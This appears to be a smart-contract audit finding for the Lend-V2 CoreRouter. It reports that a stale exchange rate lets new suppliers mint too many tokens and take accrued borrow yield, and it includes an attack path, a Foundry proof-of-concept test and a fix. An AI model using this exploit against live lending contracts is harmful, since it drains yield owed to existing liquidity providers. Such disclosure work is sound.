Narrow Gunmetal Blackbird

Medium

# New suppliers can steal part of the borrow yield

### Summary

Interest is not accrued before calculating the amount of tokens to mint, which causes rewards to be diluted by new entrants.

### Root Cause

In [`CoreRouter`](https://github.com/sherlock-audit/2025-05-lend-audit-contest/blob/main/Lend-V2/src/LayerZero/CoreRouter.sol#L74), the supply function is calculating the amount of tokens to mint based on the exchange rate before the mint

```solidity
        // Get exchange rate before mint
        uint256 exchangeRateBefore = LTokenInterface(_lToken).exchangeRateStored();
```

The issue is, throughout this function, `accrueInterest()` is only called during the mint operation, which means `exchangeRateStored` is using outdated variables that don't take into account what should be already accrued. As a consequence, new users will mint an exaggerated amount of tokens.

### Internal Pre-conditions

None

### External Pre-conditions

None

### Attack Path

1. User A supplies 100e18 tokens.
2. 10e18 tokens are borrowed, and some time passes. Some new user B calls supply
3. The proper exchange rate will be ((100e18 + 10e18 - 1e18) * 1e18) / 100e18 = 1.09e18. and the amount to mint will be 100e18 / 1.09e18 = (100 / 1.09) * 1e18 = 91.7e18.
4. However, the new user B will mint 100e18 tokens as it's using the old exchange rate, and is therefore overcredited.
5. User B can call redeem to profit from this operation.

### Impact

Loss of borrow yield for previous suppliers.

### PoC

Run this on TestBorrowing.t.sol
```solidity
    function test_poc_InterestStealingExploit() public {
        address attacker = makeAddr("attacker");
        address lp = makeAddr("lp");

        address uToken = supportedTokens[0]; // Underlying token
        address lUToken = lendStorage.underlyingTolToken(uToken);

        uint256 lpSupplyAmount = 1000e18;
        uint256 initialBorrowAmount = 500e18;
        uint256 attackerSupplyAmount = 1e18;

        // LP supplies liquidity and borrows to kickstart interest accrual
        vm.startPrank(lp);
        ERC20Mock(uToken).mint(lp, lpSupplyAmount);
        IERC20(uToken).approve(address(coreRouter), lpSupplyAmount);
        coreRouter.supply(lpSupplyAmount, uToken);
        coreRouter.borrow(initialBorrowAmount, uToken); // Interest will now accrue on this borrow
        vm.stopPrank();

        vm.roll(block.number + 100_000); // Advance time for significant interest to accrue. ~7 hours on arbitrum. 

        ERC20Mock(uToken).mint(attacker, attackerSupplyAmount);
        uint256 attackerBalanceBeforeSupply = IERC20(uToken).balanceOf(attacker);

        // Attacker's turn: supply and immediate redeem
        vm.startPrank(attacker);
        IERC20(uToken).approve(address(coreRouter), attackerSupplyAmount);
        coreRouter.supply(attackerSupplyAmount, uToken); // Vulnerable supply due to stale exchange rate usage
        coreRouter.redeem(lendStorage.totalInvestment(attacker, lUToken), payable(lUToken));
        vm.stopPrank();

        assertTrue(IERC20(uToken).balanceOf(attacker) > attackerBalanceBeforeSupply);
        emit log_uint(IERC20(uToken).balanceOf(attacker));
        emit log_uint(attackerBalanceBeforeSupply);
    }
```

### Mitigation

Use the current exchange rate, which calls accrueInterest() first.
```solidity
        // Get exchange rate before mint
        uint256 exchangeRateBefore = LTokenInterface(_lToken).exchangeRateCurrent();
```